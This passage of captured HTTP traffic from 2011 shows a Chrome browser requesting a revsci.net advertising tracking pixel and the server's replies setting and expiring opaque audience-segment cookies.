43EcMRu9sBYvmdLvuZZUDzEVE54p2XApRprYWiMwkj6FIefpFbiHeNa6utEJv9elonE9IplVVQTbwaIxivxbxSWlJT4jFP84eoToKwJpylz5YY807t92pRWCsL0nbgNqb65Lf2Q5+0iFejG2kxa4Cu8dQrUJl27A+dH4x0UklDoA==; Domain=.revsci.net; Expires=Sat, 05-May-2012 22:35:21 GMT; Path=/
X-Proc-ms: 2
P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA"
Server: RSI
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: image/gif
Content-Length: 43
Date: Fri, 06 May 2011 22:35:21 GMT

GIF89a.............!.......,...........D..;

GET /H07710/b3/0/3/noscript.gif?D=DM_EVT%3DCSM_Expedia_LP HTTP/1.1
Host: pix04.revsci.net
Proxy-Connection: keep-alive
Referer: http://fls.doubleclick.net/activityi;src=2588783;type=nausc547;cat=naush134;u=80312807C795402E93C5016D2A2A3E1B;ord=7169916033744.81?
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: NETID01=8e1e1163986432e20f9603df067356d2; NETSEGS_H10972=bff01c00ddc153c5&H10972&0&4ddd50a2&0&&4db7974a&271d956a153787d6fee9112e9c6a9326; NETSEGS_J05531=bff01c00ddc153c5&J05531&0&4de2d7db&0&&4dbcd64a&271d956a153787d6fee9112e9c6a9326; NETSEGS_G08769=bff01c00ddc153c5&G08769&0&4de391c0&0&&4dbe39cf&271d956a153787d6fee9112e9c6a9326; NETSEGS_E05516=bff01c00ddc153c5&E05516&0&4de3922b&0&&4dbcdaf4&271d956a153787d6fee9112e9c6a9326; rsiPus_cUAg="MLsXrtEupC5v4JDWbm5SF4iCa9rxq92nU/WOr6kAXZYdLpPAQvnyqW118N7oMEOiC2a+Qitt1jCSQnt7wOLuFf/9TQPsfq6IyG5KAtGyxR3fC69ZIS1PEfZ7+RJPbmgi5/Do4ttQz08XO1UZi7xW2INSPBRMu/rnPp04+54Ys4dei76PNAqSipahtYUfnrULkB+5OvuWzwKUC5dvku8yoxjK9eqMv+qsudi6yDI5p7sjklqfA/Df4499H+aU47uX/ZStvm7s0bSjla+AwzWAysWR5lO0C6CV3XcHBk4XAJoLy17PEAhkXQrA5UZbouz0UH099/lxSt54s7u/1vi/Ooc6ZsdHYnkAmIE7OjXRhH5swOnx+Qe7TQNTY5avAup317qWXxpxHGJHaYXIBQgZDvVvP1/FdYHpe4ELzEm01fLjZ3NRUu3RLcxJe/LWkVmHz79Zn9KKPtd8TZxCCYd1SF0BsJd/w4RxAXd8u6LUBqIMTYJLRCFBZYAqfyg3pMk+tHsbPBAY+t4e0y5XfrgZeOS5LS0raNTRDvmgWWyrK/P3YcYuQx+1XxK1YTDnTUoMKeILlN/WyNsBDbEYkH1exWL76rR83Bi3+v2FqFxztf6n5/2gdRHjcEt9bVnJ4z3dKF3kglsKfCM6oHY8rFN7qcjUzF9dx5DdQ3yk9RA="; rsi_us_1000000="pUMdIz9HMAYU1O2uQ7bkS/GtHFajpUjRHJppcTQ/E+fDv3TBS3u3eKtw/qV68iFxwFHQSUXJh/TEDlqK5ymryWN1lLpjgHRFDSYttD59YZFrXOXgP3z1GpnIeFgtFDR1F1h1DvPJ6jGxiMDbAnxQhvYqAwMe3iYLqU5GS2b8LfrTbx7uRJOZcXZTF1nqAhc9j1XANGppgAkqLrW5J/DkaoiGFOnArblFlMxnIUs81A34N/6VKULJ5NXcgY4g9jLOtCz0A2zRfBV0tB6nig79jyxsPK/BtufPnOuytnDMGwwiEdVEfx6xS+gdhVS/YoP8gws4gSC0AJdMoSjsujh74M9+Fuy742S9LEO0odVcgP8nwKkbsPsv3MIMTgRwUByQS0+3PTu18ZNX15PFr3nkMs5yPDt2381kVtM3tUsb7UTaDxWlFawllYsd+K30dHBKmeOvEyOfWttKqC8T1WwfifCTg5OqGJEWYbTZJKrVqzIxoqCSdeInRhO8LVs1qCHv/xxr5klEDkmKfHvF3yACOKWqmWc99TGbMUwf1jXvnMacDDEIRle75AsgC1t0n9TOjQlEvQUGZUlrBNuwrAyA8WHgji5OTrwi6ZAOSH/kv/L1brD7LtY7KfEaHdjvNdTzvoBUQMG4UTO6tV8OPsAUbmXYKs6T9V0kUdHDxS5IPWKMbw64OOcJPQgyRxyqJsiuBp3dvkWmsDV+KduhariE+vHGWgkxjV3chDQ3HlznmZrWkDHUMxVsE5mlY8EEUQt0ADLtrW3uR1r4wH3z3ZIdpJAGNmiIVyRr2c2b7jtBhTZxAAlNf7l7f35RlM2r3iTLGaF16IS79K9XrMEkuBHsy/k9wS+yaRUPCDErkqNr9YH2bA5/m2lDsmX2vxXhzSVPIsZH46KEZTqbjaFkaMVUv/ITp08VtIAQ1Yvu8ZknO30xfvR4vAy1AWEvvRf2fTQTa86Cxadw7P5qlBPGbbc96CWkKYIaCHYlvv56SO55p0Bo3OSWyjxverGSQYL67FQcst0Y+Jf/kIY+hq/65Cw5pVhi+rOWA5T/otP69RNqpLBD3wut5wpUIOU3A3cz+Fww/cmAfldRXnDpjDHyOUTv16cufUECTFP4HtE7b0vSWonFxeUXUs0PotTR+7l6VjT1pd6km8G3O6Jy+CinadIyS1ZkYM7x6spOGE5UiyQvx8Zs2WjO/p+duPiDfcEZGtR+HUDufru+EUMxg4w6AcWPnyFQbFw5FZSvULDb31fy7NREGAnb8nazQEJ7uSv7XT8wDJIORNgj0zbeAPjKWAlyPP3oRqS3CgRk7KsmlGuzBtB/H49kpYMT"; NETSEGS_G07608=bff01c00ddc153c5&G07608&0&4de3df00&0&&4dbe409f&271d956a153787d6fee9112e9c6a9326; NETSEGS_B08725=bff01c00ddc153c5&B08725&0&4de3dfb9&0&&4dbd04bb&271d956a153787d6fee9112e9c6a9326; NETSEGS_F07607=bff01c00ddc153c5&F07607&0&4de3dffd&6&10124,10098,10078,10053,10100,10143&4dbe0e23&271d956a153787d6fee9112e9c6a9326; NETSEGS_K08784=bff01c00ddc153c5&K08784&0&4de3fb79&0&&4dbe5453&271d956a153787d6fee9112e9c6a9326; NETSEGS_K05539=bff01c00ddc153c5&K05539&0&4de3fbf4&1&10592&4dbcb06d&271d956a153787d6fee9112e9c6a9326; udm_0=MLvv9SEJaSpn5l5JKLO/U2zMplZx83H/bTC237PZPP4jQ9v2WwWS5cZka6FAtm4beqRWw/7FAzLkWXPgIi9Fdj34GJWiNsniOfS7N83ZJCMm7XF401Ak8vWIo3drFxdzUB2XmgOG9ISdXu2T5qiaUXtX5k07+zndetYCXU8uC6WDdbPbEoqZPrF3A8T56voczKp5HJXWppbAhBOpR1Q3V+n/B2dTNvVt6bTFoSl77GnSK+qm0rWdXpvZj5nqF2cft+CWWWDuF/5dASzKewgNKgf7RGFOPCpManPIHMt+4GfyeyPj5zfWNagNFpEckaIJcjc/Ype13DXWWJ+NDW6eNgR8bMyM9Zyz072r8TEAb4Q6wuCg6JC9maofi7MA7OH6/NLciMiiWIPt8V3CxjGnvuXNCsiiDDRDBsuvovIfC96g8LjpthMERi2dozqvhqKIWEsI/+jjOokTawe+rOS60DvuFWr7xsmQPQ+SwE6r+YYXbd3vWeDASYs3zZtgvziWdAwte9TTiQBZeQXMTcL+DH9/78GPE9gQXBY8H1yIDrQ2D68pY3wJmxiV81hz8iDIvqb3GO8EGeZm4kkirwWY1y48ApPVV3IiooXmVPD/xqlUB3XTtm74uulyjk3u6tiKLhMW/7hI0e/jJ17wGo+jgDKCuhaLWdBFwJUWwRWx/BfDZPZrSBLyd5E2jsyn0CtLepyVG2cd1tG1FInaSzBIckUsUbtgraQxhFODw8c0zBy7NOpwEDbGlzNg706flbCLyeANNyYedL1yZOFdplAJIgatt1S4HP6ZgoTEYK06y5+Np0yeHwjqX8uABNrJoH64bFZ8dY9PUtvCG6BNUp/4TINt6lfLnHCBk6Lq5CsUWRP/xPHGguJgxph+ru1g39Q9ELp+QH5J+Y6GoagCsKnJ1mVojp2RB2SwpbIaUPj4Hs9GDc9gUII4rbh4UJH2lmuKuIsMiheOLb6nsyiPGG0fkLn69U3w9lYopzQ9ulijnNkB2BmMz47lmgqJGWZfpzEcQPnUHkt8ubqpZp+ZvSRL1RdIFxVDS0n6A5NHnEWA9Tfhcb4v2tm38busuHAMXI39qv+Ulc4Qmd00nAJFaOb+UJSeHqTI6MD0faH5M2yZGoe/nbCt/+tX3tqNs1zPSmFTZokZkGS09goch/NIwev3f+oHX4J0WMaqS9PKtP8lO8hGdDnAvJppuoB9kTbXAKSD8Fdvn5/0kdBF0xzfU0wKy+lLEkHo5MA04LnHERHrjGPOyYwO; rsi_segs_1000000=pUP95EOhd3IMNuIt3hImjtBr3f9Jmb5iQhGs79BvVK7gu24M13aZJ2D+tFQjW0rclXTtqlkFZC/RGdmRR/4yaoTlo5cff4Rcr/+KQ7YRq/KMfHTmx9MgSKmkFLbXwPK0kXUImijR4rCX3gOgXBEH/00jHpa+cDWX8tWhU3vVxQUSWMjj5TuBWOb+ly0AkAmMNi2m9U1Hs1/NIBc5o7mOWaASpv4mL4iRx/lFdcMEVtTN5gdhw8pbpEKrgTcOcfeijYOxJfl4USRjf8UQwK/9sJMSELY9oDs5/k5Oe3tZLe1UQQtH9f/LparzoFwB/cKqjXlcBnvxlAT4bjCMR0BIHekHuZldbCrdGB4ynaq7PBft1KdDfaf/hwTH/QV73XV4u0Y8O7bfcbdZizyl+2nPyZAR+k8cYxFwRT1wvJqLXVvnaKUAWH2t4E7Y5ryRTkSsfgM4k90EMUzQHWtK+kwC8vnZfKxthyb4liQ9IBBXbA==; NETSEGS_K05540=bff01c00ddc153c5&K05540&0&4de595d8&10&10572,10573,10342,10343,10391,10395,10432,10537,10538,10166&4dbfac5c&271d956a153787d6fee9112e9c6a9326; rtc_22BH=MLsPtzE1JhpnJ5HLbtednoi0nCpKJlQQWwKX1s/hvto2CE2GUWSJvSl52PQqi52JpBK4GnVp9CADUVhC8UihMt47Kyqg5IhBs75AaGyI4DYeLzjpC3rGpxqcvluEW5RAzB7ukfIPR4OGlzUZaYCGAvr17sdnY7AbTj6bR8m0lkMpWQitVrl6tCXz9Dh8I00+4Uhv+5KZehhO7J1Fdf8+QBBQieU5F8S8bbaNk5nC4l37+T5FikDtiyevFoAx5NrjUqt3UbgM/vc0QAjVaq7FwKjOT09N86ggJ1piz3sJu2MfTd4RaLdhzRHVkggW/iopdcYYYAt/RfWuturE1q1oTvinK65+N/x2hab9/eP0oWcsum2hzuxAeqHtHg3b+tGIws0eS5gTLLy/M0X9T4Ga2YGkr7Imsq72334mpsJU3ITPD15sED3jjgsoo5PQVhoxccYWTZtOhtZD//kWYdVag2XS/aNF2czvTVdY41ak6VvAIID5L72S5YZx8I9eb1iG2qUtCebgX126P8fKKx3NDq3+3y4OBSqA4P/vlFZNkmOLKZlG7NBuMfxhK3/utr4v4+oot+42eGJ6U3VIFmS8vGMVtyqElhDe1yXccYYba1Jf+JZuqU/G8kyYkZOW3gYusdENbwrr1I4iY0fqmb57UjMxhLxWKtL9dI4ieIVOkYPk5TTpNwtvewgk25Rbg8EBpUkI4o4ewEOuV9VDDOZTmipJnobSmVfIAW+Y1nrV3CphE/vWKTOY2ZSh/4exB+QcPhfdeYDIbXAzqBjvAG+G1ovPHCoemWENb8p82N1Z/B4syGvLxUyDS35Q8NuZkCpMX7PvWN7XeA3SA/gKz/PNzojFZMg8t42QL1p47Onf24+Cy8y8vBfYSyiEt315Peuuv9MWFJ2TNUTa64jL1TzO4K5ilgRExd+0+LlbGZlWA4nMGcHybm4hueGOeQPqwAtQ5/kaVhSwI64CwilQnKAWkuN8F3BvimyTfR+gsJitMuBBeYXut8bYUn6pvsdSjm5Iz1FG6u4dVw/5UIF7a64Ro2ojiGOLZRgkjmaZRNRsXGGpbYUuvyJWJ1CvSaQIkqMXoboWAujPOYGbU5YpdL/ojwzUfBJ93G7WdKliVinQOzR/BaMAWOKY8duhzRzGBeKtEhSpH6ZyBf1lDGxsVh2hMyjZMD1gu8QRCSU1ukmkmHwVwCuUYbBjs5y5jJUMBbAPRiSE6+TU2D2lHN/QhrBJOFYxqRtUuNsvQu3E0BTI3wXaWGeLD+Ed8LYRr30k3k67AKIXa+Rwh6gmXjGuGWHAiYhfiJN5iLMfS9ccBAVHQwXAPlizOwEWGEq2ilZlFFJYcfiz8Tte1jn8xS45JcbJq/UGTlqG7486giU7j7viLctVk6bOgD9NWLuh

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: rtc_22BH=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsi_segs_1000000=pUPFJEOheXIQVvUbea77ILtKCMcszrEaENQEjT7aRHs5MiPNnNbTwCoB8veynCLwV+0cKGSNJfviaRS76OdgBcRTHuGZp0mWAn1EpOUI/ShNV7vHAVsJedu017S1dkoLY5H4Le0WO3JicknTxsOn/o9PTLz0tba0+e0YuYVfApkK1z+612SNrqZAP7vkZoWH+PGgzZ7+DLapvhC1ZjPlIuK+MbylPCF7hhhHNirmG+ViZWCfBUFZgh51jkrN+lduQho5P/OQ5DN6QMBPOIfTUdfPAnHQEOxj62Zx5+tL9ciLqJ95kZmpzpw+s497N82TjVKL4xsXgmJPlK2b3ksV0A6vIVl15Mzo6cez9TOlt4e77ktoRZkzw4/k3KTKs/BGC3Kukzgrbhw3ckJ5/EJ1625ddtFcIBlnAS1v6sG/ucZ3wM7B8+MbCqQn6Nmy5jljKrSS7bzpaAEnHqBQCotsGvXwmUCzfZT9Rt1wt9SAdomdbOPfUH/rhnCyw9iRWAvsmgLqf7G0jgRz578qzqg=; Domain=.revsci.net; Expires=Sat, 05-May-2012 22:33:37 GMT; Path=/
Set-Cookie: udm_0=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rtc_D1vC=MLsXtzE1JhpnJ5HL3vy4noCEnCpKIFSIvojUnXJXjAPTw+wWY7y4JWrLsWOW0pLnHqged2X1aG4UUDn9Sek+jWM8P1olTartZdTxgq4brSjtMRLmv63at5KmReuQqY5QDIJXFnjMUw1S6PRlodfSKqqb549UmkRkjTS4D7LGgrhCL3lL5sZRNA+0k1B3YjoeaeaOl3QWNZ2a7mA3OgkBUNPumfPRDwbrh//vRruydeGes5LgcdE1mHzNbyGKVucdIsKbpRfqsrunYbeWzxOrvYl+JoYbGAl5hFOkyqe/Ll6/+N11WueF4sV7DgZCPfDYYbacKsM9DRFLsZtmLc+0rYcryVOomm7rJiwG4w26IrIRlkjgSGRZAiWRwQU9wIg1FIEZhJmvWaMHPl8dCwW/tj9Ps2XzN2EmkeA62/n1vdDz1ecGFVDJtnJyhQc2mLlrsS4li8KDipPiD0S3WzWXXQzN9igS8uFhhnxf2qqZVs20Blh7sbphtzyddDrjO5Jnc9bvqtayg9y/jXxGwcHr7hfMfCdMtli6EJLspKye7WsZz1GCdxuwBOO31Qpxlw8Y17stUYR0v0Hqq02A58AayAhLJBVnnxcH+Jqi2+3mWnYNm+3ywiXLxtdbQ75QX0RrcTWSmggv8B6eFRmOZYMUrVkwZiFtUB1nGGJZH3iwDWK3ln3rmyWUSJYaWVs+G3/KfBTBH3q3otOcVRlKrpiVd4OKl7D3o6o6HKBUO3wTOMZ8QkCta8DrRLJyw1g6WZG5tL/CesBKfPj1fOaT2TmAqkShqRa4aVuVJ+/p+aADjwtQ2/sVt+lYlYONpoeA6ewHD7G6ojL5gt4ljNIEBu7naRBKd6pbNVjGWrq9+q+GbeONKjg1NYXQR+zBkuqE3sdUFe7v2pXPavI8sooFafMIX7bfS/4glvvxSPQYjGmeQUIlGv6ycJlA+lhens349f2FzSDPsdZpiayxm0eCynxOP1PfR4ZkeqU+m9yD30+QiCwIkQuOuisaWndLK6pbIeUg2OrfdzBTs1APAA05GGjeLMPl6jc1jwIfaeAHqN7a/sSmy5jwHya3KYtMlmydCdA4FjOMTNFm/HVKd1dgCSb2c5fsYMhc9nE9TJFq+FEp13f7mm2KArOCk/OB7aS9k2HQXoIckXFQXtbtTMhVz2KejL4/FFQ7XAReGk+GdP+mn3ciXr7rjqWTyoYP+ZIlkjuBUI8dd/NU1bPYkcO3+/ZvOvmJnz6BKLf83Dmj6668cLLwC4yklr47tG4CCDGYGLMg/pzlhdDHouFcWKWxGi3RhS3LWSYMjSK2wNK24oAHuoR2EvMIFn3vi5cAmSvoEeQwxD29VVdpnB2IW6lbK50Ucm8o/g4QL1JYTd1hkwojD0PZvNBRTxbxP1832LgaQbffnd88uLkbFvQZPJBY/7Js23zW2Tb+79fSEO/e5DSjKAJf101JlAmCyTjoTzeb32SdjGmQ; Domain=.revsci.net; Expires=Sat, 05-May-2012 22:33:37 GMT; Path=/
Set-Cookie: NETSEGS_H07710=bff01c00ddc153c5&H07710&0&4de96141&0&&4dc3b759&271d956a153787d6fee9112e9c6a9326; Domain=.revsci.net; Expires=Fri, 03-Jun-2011 22:33:37 GMT; Path=/
Set-Cookie: udm_0=MLvv9SEJaSpr5f7vw2mLpmzMplZx83H/bTA23MNZPP4jw/v2WQWS5cZka6FAtm4beqRWk1TBAzLkWXPgIi9Fdj35GJWiNsniOfS7N81ZEujq9WInL6CjZ2RixWByWay9/qZBmJG/h0T/GkG687mKYLw+KrWEBC23eApyddc5/G3qMt7/xWloMU8LH+PHnjVDhPprP5kKHo4gdfNj4D0XTUdudQQtpUNxiBu9cld/a0uUsmHasDvtn14QvRL+CTaT587Ude8ov8Ol60KWgUDqX8llyLiH8Hb4SO0kYYba9GwSdSE466Z3yvxu10vB37aeLUOEUJRj7lJSjTepGmjkUZrlyiBj9mG5vyoZZH7QRKGhVy2b6DU9CR4MDuauMlt2IarprTOIayhOm0+t3HXzfy2FNTZLchjhG7LbBwLYrG1SttfAhrMOt1kSNZ3uE/WD8QxLQR3++HaRid3va7wf9DujPz3UuDEqKquC9MVL8sE2nfBjdEm7VDQIjAb+0EkJ1YoHQi52+1zF5xUK/Nm4D3TTY9RJJbu4firLkwwQGgYcvV3sF0nuy7fQKB5BaGJAD4YIKDrUTKB94wb4eMZnF9tRTDmkfSkRmyeIFbR9PSJrw3IbxPEKFEPSl1Ji7uf0vaiKv1DpVK9ncjXkKV63t7VC76HrCHg9/+RhrizrKHRRmr9UDaxdAQKRmfbaUfaxXXdO1JveXZ6Ppwy4nnfCMk0gJxHNJLprKz1xYLTGMidpRQQtpX9sBETXiDgLm5yqnYHM06mFNGTxojhAKggi66BIEVxHHHGYtOgvefjanret2zxF15KV2mKtwHesIwYKIYhI+9yiwKBvY2I+042xco5PbTAhjeDDiTGo6hhj7RXGwIY5JDqPZrBzAhRZEHf6S0zZVAUgQxerqQWm71qDwsG5XFmCncT97jqauYMFUnMErlmh0dCe6EuiP5HFsBXjVHKjCeWv85WM1Zwj/EkczsgJW+FqvnoIpeXkmeMaRU1ecboP87jYqpKUvBTjuxCPSadQ/2JHAACO2Aj40/v8mVOwtr50DwerWx0BT1brnynWhUoV75nzSMHvdT3uEVN2z1O9+ij3NuGGdbC9rS7XUh8bgAuTxhPD+HRJ/+ESHCx7aK8JMl6Oh+WWCar/QVNDspoNPq/X4PQG7t7JXh+Zj8cU3J1YZyAEGE20X95wZELD/w29ILgUDw+Wp5UjoD15xFTlt2Cc2g0iA7Dsvi4w2FJ7Ln5S+2i9FfpJEGKT+I5wzuiZAtfvHwlyAGPZ0tqvSyRRMopLCB5mVzSGo5567rV61Q==; Domain=.revsci.net; Expires=Sat, 05-May-2012 22:33:37 GMT; Path=/
X-Proc-ms: 5
P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA"
Server: RSI
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: image/gif
Content-Length: 43
Date: Fri, 06 May 2011 22:33:36 GMT

GIF89a.............!.......,...........D..;

GET /H07710/b3/0/3/noscript.gif?D=DM_EVT%3DCSM_Expedia_LP HTTP/1.1
Host: pix04.revsci.net
Proxy-Connection: keep-alive
Referer: http://fls.doubleclick.net/activityi;src=2588783;type=nausc547;cat=naush134;u=9b6b0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: NETID01=8e1e1163986432e20f9603df067356d2; NETSEGS_J05531=bff01c00ddc153c5&J05531&0&4de2d7db&0&&4dbcd64a&271d956a153787d6fee9112e9c6a9326; NETSEGS_G08769=bff01c00ddc153c5&G08769&0&4de391c0&0&&4dbe39cf&271d956a153787d6fee9112e9c6a9326; NETSEGS_E05516=bff01c00ddc153c5&E05516&0&4de3922b&0&&4dbcdaf4&271d956a153787d6fee9112e9c6a9326; rsiPus_cUAg="MLsXrtEupC5v4JDWbm5SF4iCa9rxq92nU/WOr6kAXZYdLpPAQvnyqW118N7oMEOiC2a+Qitt1jCSQnt7wOLuFf/9TQPsfq6IyG5KAtGyxR3fC69ZIS1PEfZ7+RJPbmgi5/Do4ttQz08XO1UZi7xW2INSPBRMu/rnPp04+54Ys4dei76PNAqSipahtYUfnrULkB+5OvuWzwKUC5dvku8yoxjK9eqMv+qsudi6yDI5p7sjklqfA/Df4499H+aU47uX/ZStvm7s0bSjla+AwzWAysWR5lO0C6CV3XcHBk4XAJoLy17PEAhkXQrA5UZbouz0UH099/lxSt54s7u/1vi/Ooc6ZsdHYnkAmIE7OjXRhH5swOnx+Qe7TQNTY5avAup317qWXxpxHGJHaYXIBQgZDvVvP1/FdYHpe4ELzEm01fLjZ3NRUu3RLcxJe/LWkVmHz79Zn9KKPtd8TZxCCYd1SF0BsJd/w4RxAXd8u6LUBqIMTYJLRCFBZYAqfyg3pMk+tHsbPBAY+t4e0y5XfrgZeOS5LS0raNTRDvmgWWyrK/P3YcYuQx+1XxK1YTDnTUoMKeILlN/WyNsBDbEYkH1exWL76rR83Bi3+v2FqFxztf6n5/2gdRHjcEt9bVnJ4z3dKF3kglsKfCM6oHY8rFN7qcjUzF9dx5DdQ3yk9RA="; rsi_us_1000000="pUMdIz9HMAYU1O2uQ7bkS/GtHFajpUjRHJppcTQ/E+fDv3TBS3u3eKtw/qV68iFxwFHQSUXJh/TEDlqK5ymryWN1lLpjgHRFDSYttD59YZFrXOXgP3z1GpnIeFgtFDR1F1h1DvPJ6jGxiMDbAnxQhvYqAwMe3iYLqU5GS2b8LfrTbx7uRJOZcXZTF1nqAhc9j1XANGppgAkqLrW5J/DkaoiGFOnArblFlMxnIUs81A34N/6VKULJ5NXcgY4g9jLOtCz0A2zRfBV0tB6nig79jyxsPK/BtufPnOuytnDMGwwiEdVEfx6xS+gdhVS/YoP8gws4gSC0AJdMoSjsujh74M9+Fuy742S9LEO0odVcgP8nwKkbsPsv3MIMTgRwUByQS0+3PTu18ZNX15PFr3nkMs5yPDt2381kVtM3tUsb7UTaDxWlFawllYsd+K30dHBKmeOvEyOfWttKqC8T1WwfifCTg5OqGJEWYbTZJKrVqzIxoqCSdeInRhO8LVs1qCHv/xxr5klEDkmKfHvF3yACOKWqmWc99TGbMUwf1jXvnMacDDEIRle75AsgC1t0n9TOjQlEvQUGZUlrBNuwrAyA8WHgji5OTrwi6ZAOSH/kv/L1brD7LtY7KfEaHdjvNdTzvoBUQMG4UTO6tV8OPsAUbmXYKs6T9V0kUdHDxS5IPWKMbw64OOcJPQgyRxyqJsiuBp3dvkWmsDV+KduhariE+vHGWgkxjV3chDQ3HlznmZrWkDHUMxVsE5mlY8EEUQt0ADLtrW3uR1r4wH3z3ZIdpJAGNmiIVyRr2c2b7jtBhTZxAAlNf7l7f35RlM2r3iTLGaF16IS79K9XrMEkuBHsy/k9wS+yaRUPCDErkqNr9YH2bA5/m2lDsmX2vxXhzSVPIsZH46KEZTqbjaFkaMVUv/ITp08VtIAQ1Yvu8ZknO30xfvR4vAy1AWEvvRf2fTQTa86Cxadw7P5qlBPGbbc96CWkKYIaCHYlvv56SO55p0Bo3OSWyjxverGSQYL67FQcst0Y+Jf/kIY+hq/65Cw5pVhi+rOWA5T/otP69RNqpLBD3wut5wpUIOU3A3cz+Fww/cmAfldRXnDpjDHyOUTv16cufUECTFP4HtE7b0vSWonFxeUXUs0PotTR+7l6VjT1pd6km8G3O6Jy+CinadIyS1ZkYM7x6spOGE5UiyQvx8Zs2WjO/p+duPiDfcEZGtR+HUDufru+EUMxg4w6AcWPnyFQbFw5FZSvULDb31fy7NREGAnb8nazQEJ7uSv7XT8wDJIORNgj0zbeAPjKWAlyPP3oRqS3CgRk7KsmlGuzBtB/H49kpYMT"; NETSEGS_G07608=bff01c00ddc153c5&G07608&0&4de3df00&0&&4dbe409f&271d956a153787d6fee9112e9c6a9326; NETSEGS_B08725=bff01c00ddc153c5&B08725&0&4de3dfb9&0&&4dbd04bb&271d956a153787d6fee9112e9c6a9326; NETSEGS_F07607=bff01c00ddc153c5&F07607&0&4de3dffd&6&10124,10098,10078,10053,10100,10143&4dbe0e23&271d956a153787d6fee9112e9c6a9326; NETSEGS_K08784=bff01c00ddc153c5&K08784&0&4de3fb79&0&&4dbe5453&271d956a153787d6fee9112e9c6a9326; NETSEGS_K05539=bff01c00ddc153c5&K05539&0&4de3fbf4&1&10592&4dbcb06d&271d956a153787d6fee9112e9c6a9326; NETSEGS_K05540=bff01c00ddc153c5&K05540&0&4de595d8&10&10572,10573,10342,10343,10391,10395,10432,10537,10538,10166&4dbfac5c&271d956a153787d6fee9112e9c6a9326; NETSEGS_H07710=bff01c00ddc153c5&H07710&0&4de96140&0&&4dc3b759&271d956a153787d6fee9112e9c6a9326; udm_0=MLvv9S8pLipr557J8SLcZtVsmYkpAEXfo4IXeAwquSQJS8LV1VT8e1Zf6ZL0ipL7+Kv8z8r9D7fsUFw2wl//IozSp/8YSn4NoHt7l4lq67B2aoTPJY8n/+xt25rkTM9DypP80PyOiYjfBswa/pIttQtABtvQCQc7lE2X5pTLFZly4Ho5X9JogRIv1r4DXxDUgTm31I6TxvuOcKmC/jYW5QMM3ruvTFdWWnnYKoLzU3RqHt1B+4whuE8KiYvSu8fekjRlh6End7IYoakFzgGNwXmFrORt0i1PnlcgwYHAVmdPZXPwfj5PC8fpo6ePf9KPHjtwKnWToMgc1VOatjJzghlFb3uJy+CLp/aBgvIyCGSTh51tY1Rvo4CkU9g/q/BgAxiXtL0sZoKDGnOR57czbWPW2snLVyHjK8qHn9sPGC4471fRIsWCpDXisem0f73E/ZYqkXVnZ4eygMLCHxTcBqIFjqQ0lsGEWtcVVk6WNz4l/Mewn91yb5z3TrGC94Ds0PI7lNEQ/zX+w65QliR9XUWQCR8ZJ0KoPYLJ9vKECY7qypI6JWsG/I/UnSODO2U2xhEoKpLlUINw4H3LIXL7g6gXRfai+Kt4E8gxorg1GKtpOngk4XZcT/94VjxqfHAdrOWtgThQIScl4PM9S4OeVp/AqIwVnD6+9/f77+K5aAauldE+R8qVL3mLN9jE87ZIwkWFl/denYCiK7nCJMMh1mWgtylCdkQLhvem5lL4df6OLCQDdqc2pKs/GXndlZ3eSYBP0hxu1BnT5DxxhgDCxWfzaPkEL58Qj+an9Z2aEd3idnm9kJYYUNJXJ7k1eWZB8XIaWBu+Og4PPbxN05GLrobjeAUr3OiEIqdhdgihq0P409GFU13gTUwlVlsfcu1/EYFLl0DER7k8wuY7faIt3xwOz+kc7xzOK8j7xSKy7XkKoBrIez+xK8rK00qfWaMiid3qLFhWrV7Z0YRVD5Tck40LehukJyUqz+nbRS+1uvi7svDbyhjMyqPcCeWYkKKYfULldUIH1bm8Pcz4+/tvOMe7uidWEFgdWhJeXvxXPLSHRZrYtO9j8Cnaw+R2Jc/MYSEsxo3ftJNSE1AGqd9z1IsgiJ9z5QHadxQxwsqAEgg6YrnJl7ALbsXv8caoArA7zp4fZgZtJCtxWzgclo/7zoUxCFNN/D3OGdAuyZRM4XrAxVRNGqCYmJ96huN4wxe1DAwK7D5sZ6NhmnsBvsQtpyPchz5bXwM1e1FZ05RNiXv3wbRaF4aMDm+j2wVHWV6B43cndwQ8fv7QzGvQMJpqcAx4rw==; 